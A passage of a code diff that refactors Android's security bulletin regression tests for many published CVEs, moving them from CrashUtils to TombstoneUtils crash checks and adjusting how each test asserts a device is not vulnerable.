+import com.android.sts.common.util.TombstoneUtils;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -35,9 +36,9 @@
     public void testPocCVE_2019_2014() throws Exception {
         pocPusher.only64();
         String binaryName = "CVE-2019-2014";
-        String signals[] = {CrashUtils.SIGABRT};
+        String signals[] = {TombstoneUtils.Signals.SIGABRT};
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
         testConfig.config.setSignals(signals);
         AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2015.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2015.java
index c8b6e0c..621d85b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2015.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2015.java
@@ -17,9 +17,10 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import java.util.regex.Pattern;
 import org.junit.Test;
@@ -40,10 +41,10 @@
         AdbUtils.assumeHasNfc(getDevice());
         assumeIsSupportedNfcDevice(getDevice());
         pocPusher.only64();
-        String signals[] = {CrashUtils.SIGSEGV};
+        String signals[] = {TombstoneUtils.Signals.SIGSEGV};
         String binaryName = "CVE-2019-2015";
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
                 .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
                         "rw_t3t_act_handle_check_rsp"));
         testConfig.config
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java
index e94a9f5..adc3d95 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java
@@ -17,9 +17,10 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import java.util.regex.Pattern;
 import org.junit.Test;
@@ -40,10 +41,10 @@
         AdbUtils.assumeHasNfc(getDevice());
         assumeIsSupportedNfcDevice(getDevice());
         pocPusher.only64();
-        String signals[] = {CrashUtils.SIGABRT};
+        String signals[] = {TombstoneUtils.Signals.SIGABRT};
         String binaryName = "CVE-2019-2017";
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
                 .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
                         "rw_t2t_handle_tlv_detect_rsp"));
         testConfig.config
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java
index c4401f7..49ecd22 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java
@@ -17,9 +17,10 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import java.util.regex.Pattern;
 import org.junit.Test;
@@ -40,15 +41,15 @@
         AdbUtils.assumeHasNfc(getDevice());
         assumeIsSupportedNfcDevice(getDevice());
         pocPusher.only64();
-        String signals[] = {CrashUtils.SIGSEGV};
+        String signals[] = {TombstoneUtils.Signals.SIGSEGV};
         String binaryName = "CVE-2019-2020";
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
                 .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
                         "llcp_dlc_proc_rx_pdu"));
         testConfig.config
                 .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
-        testConfig.config.checkMinAddress(false);
+        testConfig.config.setIgnoreLowFaultAddress(false);
         testConfig.config.setSignals(signals);
         AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2027.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2027.java
index aba1d48..0d4b848 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2027.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2027.java
@@ -17,8 +17,9 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
+
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -34,9 +35,9 @@
     @Test
     public void testPocCVE_2019_2027() throws Exception {
         String binaryName = "CVE-2019-2027";
-        String signals[] = {CrashUtils.SIGABRT};
+        String signals[] = {TombstoneUtils.Signals.SIGABRT};
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
         testConfig.config.setSignals(signals);
         testConfig.config
                 .setAbortMessageIncludes(AdbUtils.escapeRegexSpecialChars("ubsan: mul-overflow"));
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java
index 5ec5c03..58724c0 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java
@@ -17,9 +17,10 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import java.util.regex.Pattern;
 import org.junit.Test;
@@ -40,10 +41,10 @@
         AdbUtils.assumeHasNfc(getDevice());
         assumeIsSupportedNfcDevice(getDevice());
         pocPusher.only64();
-        String signals[] = {CrashUtils.SIGABRT};
+        String signals[] = {TombstoneUtils.Signals.SIGABRT};
         String binaryName = "CVE-2019-2031";
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
                 .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
                         "rw_t3t_act_handle_check_ndef_rsp"));
         testConfig.config
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java
index 51e000d..65ff136 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java
@@ -17,8 +17,9 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
+
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import java.util.Arrays;
 import org.junit.Test;
@@ -37,9 +38,9 @@
         pocPusher.only32();
         String binaryName = "CVE-2020-0034";
         String inputFiles[] = {"cve_2020_0034.ivf"};
-        String signals[] = {CrashUtils.SIGABRT};
+        String signals[] = {TombstoneUtils.Signals.SIGABRT};
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
         testConfig.inputFiles = Arrays.asList(inputFiles);
         testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
         testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java
index de78aaf..c1cf6e9 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java
@@ -36,7 +36,6 @@
         assumeIsSupportedNfcDevice(getDevice());
         pocPusher.only64();
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2020-0072", getDevice());
-        testConfig.checkCrash = false;
         AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
index bb8778f..cc87281 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
@@ -17,9 +17,10 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import java.util.regex.Pattern;
 import org.junit.Test;
@@ -41,9 +42,9 @@
         assumeIsSupportedNfcDevice(getDevice());
         pocPusher.only64();
         String binaryName = "CVE-2020-0073";
-        String signals[] = {CrashUtils.SIGABRT};
+        String[] signals = {TombstoneUtils.Signals.SIGABRT};
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
                 .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
                         "rw_t2t_handle_tlv_detect_rsp"));
         testConfig.config
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0118.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0118.java
index ea070ca..2586b7a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0118.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0118.java
@@ -17,8 +17,9 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
+
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -33,10 +34,10 @@
     @AsbSecurityTest(cveBugId = 150904694)
     @Test
     public void testPocCVE_2020_0118() throws Exception {
-        String signals[] = {CrashUtils.SIGBUS};
+        String signals[] = {TombstoneUtils.Signals.SIGBUS};
         String binaryName = "CVE-2020-0118";
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
         testConfig.config.setSignals(signals);
         AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0224.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0224.java
index 2c9e45a..56596c1 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0224.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0224.java
@@ -20,7 +20,7 @@
 import static org.junit.Assume.*;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
+import com.android.sts.common.util.TombstoneUtils;
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
@@ -37,10 +37,12 @@
     @AsbSecurityTest(cveBugId = 147664838)
     public void testPocCVE_2020_0224() throws Exception {
         assumeThat(getDevice().getProperty("ro.config.low_ram"), not(is("true")));
-        AdbUtils.runProxyAutoConfig("cve_2020_0224", getDevice());
-        AdbUtils.assertNoCrashes(getDevice(), new CrashUtils.Config()
+        TombstoneUtils.Config config = new TombstoneUtils.Config()
                 .setProcessPatterns("pacrunner")
-                .checkMinAddress(false)
-                .appendSignals(CrashUtils.SIGABRT));
+                .setIgnoreLowFaultAddress(false)
+                .appendSignals(TombstoneUtils.Signals.SIGABRT);
+        try (AutoCloseable a = TombstoneUtils.withAssertNoSecurityCrashes(getDevice(), config)) {
+            AdbUtils.runProxyAutoConfig("cve_2020_0224", getDevice());
+        }
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0241.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0241.java
index e56352a..65998c8 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0241.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0241.java
@@ -17,9 +17,10 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import java.util.regex.Pattern;
 import org.junit.Test;
@@ -41,10 +42,10 @@
         pocPusher.only32();
         String binaryName = "CVE-2020-0241";
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
                 .setBacktraceIncludes(new BacktraceFilterPattern("libmediaplayerservice",
                         "android::NuPlayer::NuPlayerStreamListener::NuPlayerStreamListener"));
-        String signals[] = {CrashUtils.SIGABRT};
+        String[] signals = {TombstoneUtils.Signals.SIGABRT};
         testConfig.config.setSignals(signals);
         testConfig.config.setAbortMessageIncludes(
                 AdbUtils.escapeRegexSpecialChars("Pure virtual function called"));
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0243.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0243.java
index 317b447..70319cd 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0243.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0243.java
@@ -17,8 +17,9 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
+
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -34,8 +35,8 @@
     @AsbSecurityTest(cveBugId = 151644303)
     public void testPocCVE_2020_0243() throws Exception {
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2020-0243", getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns("mediaserver");
-        testConfig.config.checkMinAddress(false);
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns("mediaserver");
+        testConfig.config.setIgnoreLowFaultAddress(false);
         AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java
index 7062545..210d6bd 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java
@@ -19,9 +19,10 @@
 import static org.junit.Assume.assumeFalse;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import java.util.Arrays;
 import java.util.regex.Pattern;
@@ -41,9 +42,9 @@
         assumeFalse(moduleIsPlayManaged("com.google.android.media"));
         String binaryName = "CVE-2020-0381";
         String inputFiles[] = {"cve_2020_0381.xmf", "cve_2020_0381.info"};
-        String signals[] = {CrashUtils.SIGSEGV};
+        String signals[] = {TombstoneUtils.Signals.SIGSEGV};
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
                 .setBacktraceIncludes(new BacktraceFilterPattern("libmidiextractor", "Parse_ptbl"));
         testConfig.config.setSignals(signals);
         testConfig.arguments =
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java
index b2e9ae2..3cf2b41 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java
@@ -19,9 +19,10 @@
 import static org.junit.Assume.assumeFalse;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import java.util.Arrays;
 import java.util.regex.Pattern;
@@ -41,9 +42,9 @@
         assumeFalse(moduleIsPlayManaged("com.google.android.media"));
         String binaryName = "CVE-2020-0383";
         String inputFiles[] = {"cve_2020_0383.xmf", "cve_2020_0383.info"};
-        String signals[] = {CrashUtils.SIGSEGV};
+        String signals[] = {TombstoneUtils.Signals.SIGSEGV};
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
                 .setBacktraceIncludes(new BacktraceFilterPattern("libmidiextractor", "Parse_lins"));
         testConfig.config.setSignals(signals);
         testConfig.arguments =
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java
index c9bc523..a6e30f0 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java
@@ -19,9 +19,10 @@
 import static org.junit.Assume.assumeFalse;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import java.util.Arrays;
 import java.util.regex.Pattern;
@@ -41,9 +42,9 @@
         assumeFalse(moduleIsPlayManaged("com.google.android.media"));
         String binaryName = "CVE-2020-0384";
         String inputFiles[] = {"cve_2020_0384.xmf", "cve_2020_0384.info"};
-        String signals[] = {CrashUtils.SIGSEGV};
+        String signals[] = {TombstoneUtils.Signals.SIGSEGV};
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
                 .setBacktraceIncludes(
                         new BacktraceFilterPattern("libmidiextractor", "Convert_art"));
         testConfig.config.setSignals(signals);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java
index b57a645..7c5640c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java
@@ -19,9 +19,10 @@
 import static org.junit.Assume.assumeFalse;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import java.util.Arrays;
 import java.util.regex.Pattern;
@@ -41,9 +42,9 @@
         assumeFalse(moduleIsPlayManaged("com.google.android.media"));
         String binaryName = "CVE-2020-0385";
         String inputFiles[] = {"cve_2020_0385.xmf", "cve_2020_0385.info"};
-        String signals[] = {CrashUtils.SIGSEGV};
+        String signals[] = {TombstoneUtils.Signals.SIGSEGV};
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
                 .setBacktraceIncludes(new BacktraceFilterPattern("libmidiextractor", "Parse_lins"));
         testConfig.config.setSignals(signals);
         testConfig.arguments =
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java
index 6c2486e..f14d9de 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java
@@ -17,8 +17,9 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
+
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -34,8 +35,8 @@
     @AsbSecurityTest(cveBugId = 170732441)
     public void testPocCVE_2021_0330() throws Exception {
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2021-0330", getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns("storaged");
-        testConfig.config.checkMinAddress(false);
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns("storaged");
+        testConfig.config.setIgnoreLowFaultAddress(false);
         AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
index 4d1f9ea..f78d393 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
@@ -17,9 +17,10 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import java.util.regex.Pattern;
 import org.junit.Test;
@@ -40,10 +41,10 @@
         AdbUtils.assumeHasNfc(getDevice());
         assumeIsSupportedNfcDevice(getDevice());
         pocPusher.only64();
-        String signals[] = {CrashUtils.SIGSEGV};
+        String signals[] = {TombstoneUtils.Signals.SIGSEGV};
         String binaryName = "CVE-2021-0430";
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
                 .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
                         "rw_mfc_handle_read_op"));
         testConfig.config
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0473.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0473.java
index 299abc6..5a365cc 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0473.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0473.java
@@ -35,7 +35,6 @@
         AdbUtils.assumeHasNfc(getDevice());
         pocPusher.only64();
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2021-0473", getDevice());
-        testConfig.checkCrash = false;
         AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0484.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0484.java
index c98dc5e..c47c5be 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0484.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0484.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -17,8 +17,10 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -28,12 +30,12 @@
     /**
      * b/173720767
      * Vulnerability Behavior: EXIT_VULNERABLE (113)
+     * Vulnerable library    : libmedia
+     * Is Play managed       : No
      */
     @Test
     @AsbSecurityTest(cveBugId = 173720767)
     public void testPocCVE_2021_0484() throws Exception {
-        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2021-0484", getDevice());
-        testConfig.checkCrash = false;
-        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-0484", getDevice(), 300);
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java
index 159af00..e0e6011 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java
@@ -20,6 +20,7 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
